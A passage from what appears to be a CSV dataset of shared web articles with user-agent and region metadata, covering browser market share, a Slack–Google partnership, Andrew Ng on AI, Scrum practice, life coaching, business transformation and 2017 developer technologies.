queries to progressively enhance your layout as the screen size increases. Take a simple, pragmatic approach. If you're removing a feature because it doesn't fit on a mobile screen, consider whether it's necessary to offer it on the desktop. The top mobile browsing applications for the month were: Chrome continues its meteoric rise at the expense of all others (especially Android Mobile, which it supersedes). While I don't use Chrome as my default desktop browser, I have no hesitation in recommending it on mobile. I'm yet to find an alternative which offers a better experience. The iPhone edition of Safari and UC Browser continue to dance round each other. Following a month at the coveted #2 spot, UC Browser has been knocked back once again. However, the dominance of mobile usage will encourage people to look for better smartphone applications. Take note, Apple: your lacklustre attitude to Safari and the web could hit profitability sooner than you think. The biggest faller was the ""others"" group. More than 40% of those users migrated to a mainstream browser. Perhaps it's a statistical blip, or my underdog browser article from last month didn't help their cause?! See you next month for a round-up of the major browser events of 2016.",en
1481129039,CONTENT SHARED,2006478190737700267,3938645257702379823,-8234459911365531196,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://go.pardot.com/webmail/27572/1273970186/78c38ef6bf526d18a1f491ec66d2edd1a86296040e0a03a4888fdf767bf048a8,Webinar Salesforce - Best Practices for Advanced Lightning Apps,"© 2016 View in Browser | Privacy Statement | Unsubscribe salesforce.com, inc. All rights reserved. Various trademarks held by their respective owners. Salesforce.com, inc. The Landmark @ One Market, Suite 300, San Francisco, CA, 94105, United States General Enquiries: 415-901-7000 | Fax: 415-901-7040 | Sales: 1-800-NO-SOFTWARE You can unsubscribe from Marketing emails at any time.",en
1481130296,CONTENT SHARED,962287586799267519,3609194402293569455,-4112602822889277629,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/12/07/slack-and-google-announce-partnership-focused-on-better-integrating-their-services/,Slack and Google announce partnership focused on better integrating their services,"Slack announced a strategic partnership with Google Cloud this morning, which will bring a number of new features, including deeper integrations with Google services, to its collaboration platform for teams. Among the additions are new bots for notifications, as well as support for Google's recently launched Team Drives, document previews, permissioning and more. The move comes at a time when Slack is facing new competition from Microsoft and Facebook , who have each launched their own rival products in recent weeks. Microsoft Teams is basically a Microsoft Slack clone, but has the added advantage of being able to tie into Microsoft's suite of services, including Skype and Office 365. Slack, as an independent company, doesn't have the same, native ability connect deeply to other products and services that a business may use - instead, it relies on third-party integrations. Google and Slack have already worked together on that front, though not via formal arrangement like this. Google Drive was one of the first Slack integrations and remains one of the most popular, says Slack, noting that a Google Drive file is imported in Slack approximately 60,000 times every weekday. Or, that means means a file is shared every 1.4 seconds. Now, Slack says it will work with Google developers on building further integrations for their overlapping customer base. That begins with the rollout of the integrations announced today, but will expand to include other features in the future. One of the new integrations is a Google Drive Bot that will post comments and requests for access into Slack. Recipients can then approve or reject requests from Slack, or settle comments, or they can launch Google Docs to work with the files directly. Slack will also allow users to preview Google Docs files in the app itself, and, when shared, Slack will check the permissions on the file. If you're sharing with people who don't have access currently, Slack will prompt you to update your sharing settings. Slack will work with Google Team Drives, too, if the company is using that newer service. Files shared in Slack will be uploaded automatically to the Team Drive, and Team Drive updates are also shared back to Slack. Finally, admins will be able to provision Slack for their company through an integration with the G Suite ( formerly, Google Apps for Work ) dashboard. This will work with both new and existing teams. ""Google and Slack share the same vision for the future of work: that smart software could bring teams together and make all of their work and conversations seamlessly available in one place,"" writes Nan Boden, Head of Global Technology Partners, Google Cloud, in a blog post. ""The result is that teams can move faster and and more efficiently,"" Boden said, adding that Google will also be helping Slack take advantage of Google's technologies to scale its business. The new integrations are being announced today, as a look as what's in store for Google and Slack customers, but will be rolled out over the first half of 2017.",en
1481136025,CONTENT SHARED,3380406830501456504,3609194402293569455,-4112602822889277629,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.b9.com.br/68687/tech/ge-integra-inteligencia-artificial-alexa-em-uma-lampada-circular/,GE integra inteligência artificial Alexa em uma lâmpada circular,"Ter um assistente pessoal em casa, até hoje, representa um novo gadget ocupando a sua estante, como da Amazon , o da Samsung ou Google Home . São hubs, sem função aparente, que quem chega de fora e olha nem sabe pra que serve. A GE , aproveitando que a Amazon liberou o Alexa Voice Service (AVS) pra uso em produtos de terceiros, criou um jeito de camuflar a inteligência artificial em uma lâmpada de mesa. Segundo a marca, é a função encontrando a forma. Como parte da linha , a luminária de LED - além de iluminar (duh) - se comporta como um assistente pessoal que conhecemos, cia controle de voz. Com microfone para entender comandos e perguntas, e respondendo através de alto-falantes embutidos. O design circular lembra a Cortana, da Microsoft , e apesar de não ser muito prático, certamente tem mais estilo do que os hubs já lançados. A lâmpada inteligente da GE deve ser lançada no segundo semestre de 2017.",pt
1481143312,CONTENT SHARED,-434149774629603391,3829784524040647339,-878999155564941010,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36",SP,BR,HTML,https://hbr.org/2016/11/what-artificial-intelligence-can-and-cant-do-right-now,Andrew Ng: What AI Can and Can't Do,"Many executives ask me what artificial intelligence can do. They want to know how it will disrupt their industry and how they can use it to reinvent their own companies. But lately the media has sometimes painted an unrealistic picture of the powers of AI. (Perhaps soon it will take over the world!) AI is already transforming web search, advertising, e-commerce, finance, logistics, media, and more. As the founding lead of the Google Brain team, former director of the Stanford Artificial Intelligence Laboratory, and now overall lead of Baidu's AI team of some 1,200 people, I've been privileged to nurture many of the world's leading AI groups and have built many AI products that are used by hundreds of millions of people. Having seen AI's impact, I can say: AI will transform many industries. But it's not magic. To understand the implications for your business, let's cut through the hype and see what AI really is doing today. Surprisingly, despite AI's breadth of impact, the types of it being deployed are still extremely limited. Almost all of AI's recent progress is through one type, in which some input data (A) is used to quickly generate some simple response (B). For example: Being able to input A and output B will transform many industries. The technical term for building this A→B software is supervised learning . A→B is far from the sentient robots that science fiction has promised us. Human intelligence also does much more than A→B. These A→B systems have been improving rapidly, and the best ones today are built with a technology called deep learning or deep neural networks, which were loosely inspired by the brain. But these systems still fall far short of science fiction. Many researchers are exploring other forms of AI, some of which have proved useful in limited contexts; there may well be a breakthrough that makes higher levels of intelligence possible, but there is still no clear path yet to this goal. Today's supervised learning software has an Achilles' heel: It requires a huge amount of data. You need to show the system a lot of examples of both A and B. For instance, building a photo tagger requires anywhere from tens to hundreds of thousands of pictures (A) as well as labels or tags telling you if there are people in them (B). Building a speech recognition system requires tens of thousands of hours of audio (A) together with the transcripts (B). So what can A→B do? Here's one rule of thumb that speaks to its disruptiveness: If a typical person can do a mental task with less than one second of thought, we can probably automate it using AI either now or in the near future. A lot of valuable work currently done by humans - examining security video to detect suspicious behaviors, deciding if a car is about to hit a pedestrian, finding and eliminating abusive online posts - can be done in less than one second. These tasks are ripe for automation. However, they often fit into a larger context or business process; figuring out these linkages to the rest of your business is also important. AI work requires carefully choosing A and B and providing the necessary data to help the AI figure out the A→B relationship. Choosing A and B creatively has already revolutionized many industries. It is poised to revolutionize many more. After understanding what AI can and can't do, the next step for executives is incorporating it into their strategies. That means understanding where value is created and what's hard to copy. The AI community is remarkably open, with most top researchers publishing and sharing ideas and even open-source code. In this world of open source, the scarce resources are therefore: Data. Among leading AI teams, many can likely replicate others' software in, at most, 1-2 years. But it is exceedingly difficult to get access to someone else's data. Thus data, rather than software, is the defensible barrier for many businesses. Talent. Simply downloading and ""applying"" open-source software to your data won't work. AI needs to be customized to your business context and data. This is why there is currently a war for the scarce AI talent that can do this work. Much has been written about AI's potential to reflect both the best and the worst of humanity. For example, we have seen AI providing conversation and comfort to the lonely; we have also seen AI engaging in racial discrimination. Yet the biggest harm that AI is likely to do to individuals in the short term is job displacement, as the amount of work we can automate with AI is vastly bigger than before. As leaders, it is incumbent on all of us to make sure we are building a world in which every individual has an opportunity to thrive. Understanding what AI can do and how it fits into your strategy is the beginning, not the end, of that process.",en
1481198861,CONTENT SHARED,564282370384747453,-2979537012405607453,1533128269484353266,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",MG,BR,HTML,https://www.scrumalliance.org/community/articles/2016/march/modifying-behavior-with-sprint-data,Scrum Community - Scrum Alliance,"Can I tell you a secret? One of my biggest pet peeves is not completing stories in the sprint during which we've agreed to do them. Carrying them over is like having that itch you cannot scratch. The closure offered by delivering them at the end in a potentially shippable product increment is satisfying. Having to carry them over has consequences: We have to continue working on them. We can't pick something else up. We are potentially blocked from shipping an increment. That last is the worst. Our stakeholders love when we deliver new increments. If we have planned correctly, it solves their most current problem in a very short amount of time. If we fail, stakeholders don't get what they need, when they need it. End-of-sprint data plays an important role in helping us understand where we have failed and what we need to do to improve. For this article, we are interested in the percentage of story points coming from new content vs. points from carryover content, and the percentage of points added after sprint planning. I want to focus on the first part (new content vs. carryover), its root causes, and its relationship to the second part (stories added after sprint planning). Two general patterns emerge from looking at our end of sprint data over the last nine months. First, since we committed ourselves to getting work done within a sprint, our percentage of carryover points has generally decreased. To reach this point, we made a few simple (although not necessarily easy) changes: Most simply, we decided that lots of carryover was not acceptable and was holding us back. We could not deploy incrementally. It made us unpredictable. We also started writing smaller, better stories. We can better estimate what we can complete within a sprint by limiting the scope of stories. We learned, changed our behavior, and adapted. Second, we see fluctuation from sprint to sprint in the amount of carryover we experience. I think there are several root causes for this. These provide areas for our continued improvement. Story scope: We have done a better job of reigning in the scope of individual user stories. Playing regular sprint poker has helped us with this. However, sometimes we still miss the mark. Our most recent instance of this was a missed requirement that we needed to quickly implement. Its scope turned out to be larger than anticipated. Our definition of what needed to be done was inadequate. This led to misunderstanding in implementation and failed tests. We would have been better served to have taken more time understanding what needed to be done and breaking a big story down into smaller ones that could be taken up by more team members. Lesson learned (again). Cross-training: Great Scrum teams have all of the skills they need to deliver a potentially shippable product sprint after sprint. In general, we have this. However, we are fragile in this area. We could be stronger with respect to testing skills. If our primary testers are pulled into field support, we need to support each other by stepping in to fill the testing gap during that sprint. We also need to continue to become fluent in all of the technologies our product uses. Often, we see server-side experts struggle with client-side code. Similarly, client experts may not be as fluent with server code. Pairing helps bridge this gap. Communication helps. Also, see #3 below. Asking for help: We operate in a ""Scrumban"" environment. We plan our sprints carefully, but we also find that team members are able to pull in small items along the way. This is motivating because, ideally, the team completes what it signed up for plus some additional content that provides extra value or reduces pain for a stakeholder. However, there is a balancing dynamic at work here. Look at the figures below. The top panel shows the measured data. The bottom panel represents a more ""ideal"" state. The top panel represents aggregated data across the first three sprints in our current release. The x-axis shows whether content was added after sprint planning or not. The blue bars represent items that were not carried over from a previous sprint. The red bar represents carryover. The issue occurs when comparing the red bar to the blue bar to its right (""late adder - no/carryover - yes"" vs. ""late adder - yes/carryover - no""). We should be decreasing the percentage of points coming from these two in favor of increasing the height of the ""late adder - no/carryover - no"" bar. This is shown in the bottom panel. Note that the absolute percentages shown in the bottom panel are for illustration only. The point is the relative contribution of each bar. Operationally, we need to make sure that our priority is on finishing what we commit to first. The hurdle is in reaching out for help when we are stuck. We are a team of extremely smart people. Development problems are personal challenges. However, we need to continue to recognize that we are here to support each other. Asking for help is a good thing. It's the behavior we want to encourage. It is not symptomatic of being unable to meet a personal challenge. It's not an intellectual insult. We need to start asking the question, ""Before I pull something else in off of the backlog, can I help someone else complete what we committed to?"" Come to the ""alter"": We are experimenting with a mid-sprint ceremony we call ""come to the alter."" (Yes, ""alter"" is spelled correctly.) This is a mid-sprint assessment of how likely it is that we will complete everything we signed up for in sprint planning. Based on the assessment, we might alter the sprint plan. For example, if we are pulled into more technical support than we anticipated, we may be short on resources for testing or for specialized protocol work that not everyone is capable of doing. In that case, we might pull stories out of the sprint in order to not leave them half-implemented in the code. Alternatively, we might split a large story and do a piece of it so that we can deliver some value to stakeholders. Ideally, there are no alterations. However, the ""real world"" does not always make that possible. Most importantly, it gives the team another explicit opportunity to step in and help each other. If we internalize that stories are in jeopardy, someone may step up with a clever way of reducing the risk. Enabling flexibility allows us to focus and be sustainable. The bottom line is that we need to continue measuring how we do sprint over sprint. Further, we need to be careful about the behaviors we reinforce. We need to balance adding value for one stakeholder by pulling an issue into a sprint vs. harming another stakeholder by not finishing a story we committed to. In general, we should bias our behavior toward the stakeholder we made the commitment to during sprint planning. Opinions represent those of the author and not of Scrum Alliance. The sharing of member-contributed content on this site does not imply endorsement of specific Scrum methods or practices beyond those taught by Scrum Alliance Certified Trainers and Coaches. Current rating: 4 (3 ratings) The community welcomes feedback that is constructive and supportive, in the spirit of better understanding and implementation of Scrum.",en
1481301466,CONTENT SHARED,8640945691036622521,6773859371279096371,-7866803598817969667,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,http://www.bbc.com/news/magazine-38208814,The invention that helped me write again - BBC News,"When Emma Lawton was 29 she was diagnosed with Parkinson's disease. As a graphic designer, drawing is a huge part of her life but over the past three years the tremor in her hands has grown more pronounced stopping her from writing and drawing straight lines. Enter Haiyan Zhang and her invention that is changing Emma's life. Watch more stories from the The Big Life Fix on BBC Two at 21:00 on Wednesday 7, 14 and 21 Dec or catch up later online . Join the conversation - find us on Facebook, Instagram, Snapchat and Twitter #BigLifeFix.",en
1481455576,CONTENT SHARED,7088167897470452815,6013226412048763966,2517113148561143287,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,https://www.tonyrobbins.com/coaching/life-coach-vs-therapist/,"Life Coach vs. Therapist, Learn the Difference | Tony Robbins","One of the most common misconceptions about life coaching is that it is therapy in disguise - or, worse yet, therapy from an unlicensed practitioner. In reality, life coaching is truly its own unique service designed to help ambitious achievers meet the outcomes that will bring them success and fulfillment. Here are some of the differences between life coaching and therapy, and a basic guide for when each service is appropriate. Defining terms Therapy, also called counseling or psychotherapy, is a long-term process in which a client works with a healthcare professional to diagnose and resolve problematic beliefs, behaviors, relationship issues, feelings and sometimes physical responses. The idea behind therapy is to focus on past traumas and issues to change self-destructive habits, repair and improve relationships and work through painful feelings. In this sense, therapy focuses on the past and on introspection and analysis. Life coaching is a process which may be long- or short-term. In life coaching, a client works with a coach who is not a healthcare professional in order to clarify goals and identify obstacles to success and problematic behaviors in order to create action plans to achieve desired results. It takes the client's current starting point as an acceptable neutral ground and is more action-based from that point onward. Similarities and differences between therapy and life coaching The fundamentals of life coaching are what distinguish it from therapy. Life coaches do not diagnose, while therapists determine illnesses and pathologies so they can be clinically treated. Therapists analyze their client's past as a tool for understanding present behaviors, whereas life coaches simply identify and describe current problematic behaviors so the client can work to modify them. In other words, therapists focus on ""why"" and coaches work on ""how."" Therapists help clients explore and understand their subconscious and unconscious mind. Their goal in this exploration is deep understanding. Life coaches focus on results and actions. Their goals can be measured with key performance indicators and specific behavioral outcomes and goals. Therapy and life coaching do share certain traits and aims, however. Both therapists and life coaches work to enable clients to make positive changes in their lives and become more productive. While therapists do diagnose and treat from a healthcare perspective, not all therapy clients are ill; many healthy people seek the services of both therapists and life coaches. Therapists may at times work with specific results in mind, such as the cessation of a particular problematic behavior. Despite occasional areas of overlap, however, the work and processes of therapists and life coaches are distinct. Want to learn more? Check out the Life Coach v. Therapy Infographic ! Should I seek out a therapist or a life coach? Naturally, the decision to seek out a therapist or a life coach is a very personal one. It might help to imagine yourself getting ready to climb a mountain. You could either hire an expert sherpa and guide for your expedition or a doctor. Which should you choose? If you are physically unwell, or would be in danger if you even attempted the climb, a sherpa and guide wouldn't do you any good. You need to be at a baseline level of good health before you can make the climb at all, so if you're not, you might need to see the doctor before trying something that challenging. However, if you're healthy and just need someone to help you with climbing strategy, carrying the load of supplies and finding the best path, the sherpa and guide is the best bet. The therapist is like the doctor in this example. He or she gets you well enough to take on major challenges in your life by exploring your mental and emotional well-being. The life coach is like the sherpa and guide. He or she has an expert knowledge of your climb and can help you reach the summit. A life coach would be able to offer guidance by: Clarifying and achieving personal and professional goals Creating business plans Working to improve communication skills Achieving financial independence and security Achieving a work/life balance Starting a new business or growing a current business A therapist, on the other hand, focuses their conversation on ways to: Recover from past traumas Explore why past relationships (business or personal) have been destructive Work through depression or anxiety that affect your ability to function at home or work Survive a divorce or loss of a loved one Although life coaches and therapists occasionally help clients with similar problems, their work is not the same. In order to get the right kind of professional expertise, it is crucial to know which kind of guidance will serve you best. Life coaching isn't simply a watered-down version of therapy. It is a dynamic discipline designed to help motivate and inspire people to achieve more than they believe is possible.",en
1481492105,CONTENT SHARED,-2123288010168989418,-2979537012405607453,7104828775275464396,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",MG,BR,HTML,https://www.oreilly.com/ideas/10-principles-of-business-transformation,10 principles of business transformation,"Roman numeral 10. (source: Pixabay ). This post originally published on Barry O'Reilly's blog ; it is republished here with permission. Transforming organizations, teams, or even yourself is challenging. There's no one-size fits all method to achieve success. It's a combination of hard work, persistence, and patience. The most successful enterprises are continually experimenting to learn what works and what doesn't. They focus on meeting customer needs by clarifying goals, shortening feedback loops, and measuring performance based on outcomes, rather than outputs. To become a high-performance organization, you must develop the capability to continually adapt, adjust, and innovate. This requires a deliberate practice of experimentation and learning . But experimentation alone is not the answer. To enable and empower decision-making at scale, team members need a framework of reference to align their actions to the organization's mission. The mission is the statement of purpose for what your organization stands for. The principles help individuals and teams make independent decisions at speed that are aligned to the organization's mission, valued behaviours, and desired culture. It is not a set of explicit rules or command-and-control statements of how people should operate. Based on my own experiences I've distilled a set of 10 principles to transform to help businesses on their journey to become high-performance organizations. Think BIG, learn fast, start now Every great mission needs a compelling and aspirational vision. The clarity with which you communicate the vision gives people purpose, direction, and constraints as to why the initiative they are taking part in matters. Thinking BIG means challenging assumptions of what we believe may even be possible. For example, thinking BIG at SpaceX is: ""SpaceX designs, manufactures and launches advanced rockets and spacecraft. The company was founded in 2002 to revolutionize space technology, with the ultimate goal of enabling people to live on other planets."" However, a vision is a theory, a set of beliefs and untested hypotheses that must rumble with reality. In the information age, the organization that can most effectively accumulate new knowledge and leverage that insight to make better decisions wins. Organizations with the highest quality information make the best quality decisions. To accumulate new knowledge, we must experiment. By experimenting, we learn. Whoever learns the fastest wins. Be uncompromising with the BIG vision, but develop methods to learn fast what works and what doesn't. Start testing the BIG idea with real customers and users as quickly as possible-even when it's feels early and uncomfortable. Secure mandate, sponsorship, and support You will only be as successful as the level of leadership in your organization that gets behind the initiative. If there's no support in the team, the leadership or executive group, then forget it. That said, making innovation only the CEO's job isn't going to cut it either. If you want to be a leader of change, it's your responsibility to create the space, support, and sponsorship to enable experimentation to happen. Do this by focus on outcomes, not outputs. Define constraints, limit investment, or risk thresholds to create safe-to-fail experiments. This creates a sandbox for learning and will result in demonstrable evidence of progress. It allows teams to explore uncertainty within the bounds of recoverable situations, reducing learning anxiety and paralysis from the fear of failure. ""If the highest aim of a captain were to preserve the ship, they would keep it in port forever.""-Thomas Aquinas Right people in the right place Putting change-averse people into a high-change environment won't break the system; it will break the people. Similar to Geoffrey Moore's model for technology adoption, there are all types of mindsets in an organization toward change, from innovators to laggards. Figure 1. Geoffrey Moore: Crossing the Chasm. Image by Barry O'Reilly. Be aware of people's natural bias when it comes to building teams capable of dealing with extreme uncertainty and frequent iteration. High-performance teams start small with a cross-functional representation of business, technology, and design. This is the nucleus to build a team around. Be deliberate about how you form the team and the type of work-be it highly exploratory or otherwise-they focus on. Act your way to a new culture John Shook was the first American to be hired by Toyota. He moved to Japan in the mid-70s without knowing a single word of Japanese, only a curiosity to learn about the Toyota Production System. What he observed contradicted everything he had seen and heard in Western organizations. The Western belief was if you told people to think differently they would suddenly act differently. What Shook actually experienced at Toyota was that changing the system of work is what led to a change in the way people behaved. People didn't think their way to a new culture; they acted their way to a new culture. This is what SCRUM, XP, and many other agile methodologies actually try to enforce-a change in the system of work using iteration, ceremonies, reflection, and cross-functional teams to change how people interact and ultimately behave. Figure 2. Image by Barry O'Reilly. Sadly, many organizations still believe that sending staff on a one- or two-day certification course can suddenly make them agile, adaptive, and aware. Often, the result is people blindly following a methodology of what to do without ever understanding why they are doing actually it. Build the right thing, then build it the right way Working software is an experiment, just a really expensive one. Unfortunately building the entire solution and only then testing it with customers is still the prevailing model of operation for most organizations. One of the key components of the Lean Startup movement championed by Eric Ries is to encourage teams to test their business hypothesis as quickly and cheaply as possible. This is achieved by creating a Minimum Viable Product (MVP)-a basic early working example, prototype or experiment to test the area of greatest uncertainty related to the hypothesis. Figure 3. Diagram by Barry O'Reilly, inspired by Jussi Pasanen, with acknowledgments to Aarron Walter, Ben Tollady, Ben Rowe, Lexi Thorn, and Senthil Kugalur. A MVP approach enables you to fail fast and cheaply, while also gathering valuable data from the experiment. As you prove or reject different hypotheses, you build confidence that the problem/solution fit is on the desired path. You can then invest more to improve the fidelity of the solution, widen the marketing reach and/or enhancing the solution based on the data gathered-essentially increasing your exposure to risk in a controlled manner. Deliver small, fast, and frequently to build momentum One of the most important aspects of agile and lean methodologies is working in small batches. Reducing the size of work batches enables us to optimize for end-to-end throughput of our system of work. This allows use to gather data against the outcomes we achieve and compare them to our initial expectations of success. Secondly, the data we collect becomes inputs for reflection, decision-making and adapting strategies. How are we moving toward the desired outcome? Should we adapt the objective of our original mission? It's how doing and learning enables better top-level decision making, not just in the execution of a given solution. The longer we wait to collect data to inform our next steps-especially when operating in extreme uncertainty-the higher the level of risk we are exposed to. The best way to build trust with stakeholders is with frequent demonstrable progress. Showcasing small, completed pieces of work fast and frequently creates feedback mechanisms, trust and belief that team members can deliver. Teamwork is about trust. Trust is about believing in your team members to deliver. You create belief with frequent demonstration of progress - Barry O'Reilly (@barryoreilly) March 30, 2016 Build in feedback loops with customers and users Customer testing should be for breakfast, not dessert. If you're not testing with customers as soon as possible to understand if their problem really exists and that your solution addresses it, then you're wasting valuable time, effort and resources. The best people to provide feedback on your hypothesis are real customers-not your boss, or colleagues, or even team members. Regular and direct customer feedback is your guide towards fit, purpose and success. Make sure you design a system of work that gives the team frequent opportunities to test and incorporate customer and user feedback. Following a recent ExecCamp , one of the participating executives sent me the following note: ""One of the team came to me today to ask to review the new designs for a system we've been developing. After ExecCamp the response was obvious to me... ""I'm not the person you need to be testing with. The real people you need to talk to is our customers. Go find a few of them and get their feedback for what works and what doesn't."" Adapt your approach based on validated learning Lean and agile aren't just about experiments to create new knowledge, they're about using that knowledge to make better and more informed decisions on what to do next. Many experiments will 'fail', but even these will result in validated learning. Validated learning means that we test-to the necessary degree of precision and no further-the key assumptions behind the hypothesis to understand whether or not it will succeed, and then make the decision to persevere, pivot, or stop. Figure 4. Image by Barry O'Reilly. By defining and communicating what success looks like before we start we create an accountability loops to decide if and when our initiatives are getting traction based the outcomes achieved. Organizations that fail to define success before experimenting get caught in Plan->Do cycles, only validating outputs. Their success is on time, on budget, on scope without any learning mechanism to ask the questions; Did we achieve the outcome we expected? Are we getting better? Demonstrate evidence for future investment decisions Writing a well-crafted business case may secure initial funding, but it has little impact on whether your initiative actually succeeds or fails. As Douglas Hubbard documented in his book How to Measure Anything, the two biggest risks to any new initiative are not how much it costs and when will we deliver it but reducing the concern that the initiative will get cancelled and will our customers or anyone use it ? What's important when making investment decisions is to take an evidence-based approach to ongoing funding by creating an evaluation framework to manage and prioritise future investments . The cadence of iteration and review should match the level of uncertainty. For example, in financial markets traders get continuous and virtually real-time feedback on how the market is adapting in order to make further investment decisions and improve their probability of success. In contrast, an organization with an annual planning cycle and quarterly review process has only four iterations or feedback loops a year. In my experience, when working in a highly complex and adaptive environment four learning cycles per year is rarely sufficient. You can minimize risk, uncover options, and get the best return on your efforts by using techniques such as customer testing, pre-defining measures of success and setting investment boundaries around time, effort and scope. This builds in regular feedback loops for course correction or close. As I've said previously in blogs and talks on agility in financial management- It's time to blow up the business case. Scale lessons learned to cross the chasm Scaling agile practices or frameworks doesn't work-scaling learning does. Teams learn best from the lessons of their peers. What challenges did they face? How did they address them? What would they do differently? Figure 5. Photo by Barry O'Reilly. People remember stories and take inspiration from the experiences of others. Start by encouraging teams to showcase their experiments, discoveries and next steps. Make it easier for everyone to learn from one another, build momentum and drive change. As a leader, your responsibility is to enable organizational learning by reducing collaboration friction between teams and designing systems of work with in-built learning mechanisms. The purpose of a learning organization is to help others make better mistakes, not the same mistakes. Thanks to Qiu Yi Khut and Jonny Schneider for their feedback on initial drafts. Article image: Roman numeral 10. (source: Pixabay ).",en
1481543955,CONTENT SHARED,-2097075598039554565,3609194402293569455,4506332254516554808,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://tutorialzine.com/2016/12/the-languages-frameworks-tools-you-should-learn-in-2017/,"The Languages, Frameworks and Tools You Should Learn in 2017","The Languages, Frameworks and Tools You Should Learn in 2017 Martin Angelov The software development industry continues its relentless march forward. In 2016 we saw new releases of popular languages, frameworks and tools that give us more power and change the way we work. It is difficult to keep track of everything that is new, so at the end of every year we give you our take on what is important and what you should learn during the next twelve months. The Trends Progressive Web Apps In 2016 we saw the rise of the Progressive Web App concept. It represents web applications that work offline and offer a native, app-like experience. They can be added to your smart device's homescreen and can even send you push notifications, bridging the gap with native mobile apps. We think that in 2017 PWA are going to become even more important and are well worth investigating. See our overview here . The Bot Hype Everybody is talking about bots right now. From platforms for running them, to frameworks for building them, the community is buzzing with activity ( read our intro here ). Bots are the new mobile apps, and if you hurry up you can catch the wave while everyone is excited. Once the novelty wears off, bots will probably be relegated to some boring role such as automated customer support. But hey, we can dream! Consolidation of Frontend Frameworks In the JavaScript community we have an incredible churn of frameworks and tools, with new ones being born almost every week. Until recently, the expectation was that the old tools would just be replaced by the new, but this is not what we saw in 2016. Instead, we saw the popular frameworks exchanging ideas and incorporating the innovations put forth by newcomers. So in 2017 it won't matter much which of the major JS frameworks you choose, their features are mostly comparable. The Cloud Companies and developers everywhere are embracing ""the cloud"". This is virtualized computer infrastructure that is available on demand and fully configurable from a control panel. The big three cloud providers are AWS, Google Cloud and Azure. Thanks to their ongoing competition prices have been falling, bringing it within the budgets of smaller companies and individual developers. Familiarizing yourself with the cloud workflow would be a good investment for 2017. Machine Learning Machine Learning (ML) has exploded in popularity during the last twelve months. And with the historic AlphaGo vs Lee Sedol match in March, it entered the mainstream. Smart computer systems that learn from raw data are revolutionizing the way we interact with our mobile devices. By the looks of it, ML will be an even bigger factor in 2017. Languages JavaScript continues its incredible pace of innovation. Catalyzed by the quick release schedules of web browsers, the JS standard is updated every year. The next edition, ES2017 , is expected to be finalized in mid 2017. It will bring the dream feature of many JS developers - аsync/аwait for working with asynchronous functions. And thanks to Babel , you can write ES2017 in every browser even today. TypeScript 2.1 was released in late 2016, bringing async/await for old browsers and improved type inference. TypeScript is a statically typed language which compiles to JavaScript. It adds powerful features like a classic OOP model and optional static typing to make large codebases easier to maintain. It is the preferred language for writing Angular 2 apps, and we recommend giving it a try. Here is our quick start guide about it. C# 7.0 is expected in 2017 and will enhance an already excellent language. Microsoft surprised everyone when they introduced the open source Visual Studio Code editor and .Net Core. Both of these run on Linux, Windows and macOS and allow you to write fast and performant applications in C# (read more here ). A vibrant community is forming around both of these tools, and we are confident there is an exciting year ahead of them. Ruby 2.3 was released earlier this year with a number of performance improvements. Ruby is also a good choice as a general purpose scripting language, but it shines when paired with Rails. The Ruby 3×3 initiative was announced, which will attempt to make the upcoming Ruby 3 release 3 times faster that the current version, opening the doors to using Ruby in more contexts. If you are looking for something more exciting, you can try out Crystal and Elixir , which both combine a friendly ruby-like syntax with superior performance. Or you can look into a functional language like Haskell or Clojure . Two other fast languages are Rust and Go which we recommend. Learn one or more of these: JS (ES2017), TypeScript, C#, Python, Ruby, PHP7, Java/Kotlin/Scala. Frontend The web platform made two major advancements recently - Web Assembly and Service Workers . They open the gates for fast and performant web applications that bridge the gap with native compiled applications. Service Workers in particular are the enabling technology for Progressive Web Apps and bring support for Notifications to the web platform, with more APIs to follow in the future. Angular.js 2 was released this year. The framework is backed by Google and is very popular with enterprises and large companies. It has a vast number of features that make writing everything from web to desktop and mobile apps possible. The framework is written in TypeScript, which is also the recommended language to write applications in. There is a lot to read about, but we think learning Angular 2 in 2017 would be a good investment. Ember is another solid choice for a JavaScript framework. It supports data bindings, auto-updating templates, components and server-side rendering. One benefit that it has over its competitors, is that it is more mature and stable. Breaking changes are much less frequent and the community values backwards compatibility. This makes the framework a good choice for long-lived applications. Two other frameworks that are worth a look are Aurelia and React . The ecosystem around React has grown considerably more complicated in the last year, making it difficult to recommend for beginners. But experienced devs can combine the library with GraphQL , Relay , Flux and Immutable.js into a comprehensive full stack solution. No frontend compilation would be complete without mentioning Bootstrap . Version 4 is currently in Alpha and a release is expected in 2017. Notable changes are the new versatile card component and the flexbox grid (see our comparison with the regular grid here ), which modernize the framework and make it a joy to work with. SASS and LESS remain the two most popular CSS preprocessors today. Although vanilla CSS is finally getting support for variables, SASS and LESS are still superior with their support for mixins, functions and code organization. If you haven't already, take a look at our SASS and LESS quick start guides. Learn one or more of these: Angular 2, Vue.js, Ember, Bootstrap, LESS/SASS. Backend There is plenty of choice for the backend, all coming down to your preference of a programming language or specific performance needs. An ongoing trend in web development is business logic to move away from the backend, turning that layer into an API which is consumed by the frontend and mobile apps. But a full stack framework is often simpler and faster to develop in, and is still a valid choice for a lot of web apps. Node.js is the primary way for running JS outside the browser. It saw many new releases this year which increased performance and added coverage for the entire ES6 standard. Node has frameworks for building fast APIs, servers, desktop apps and even robots, and 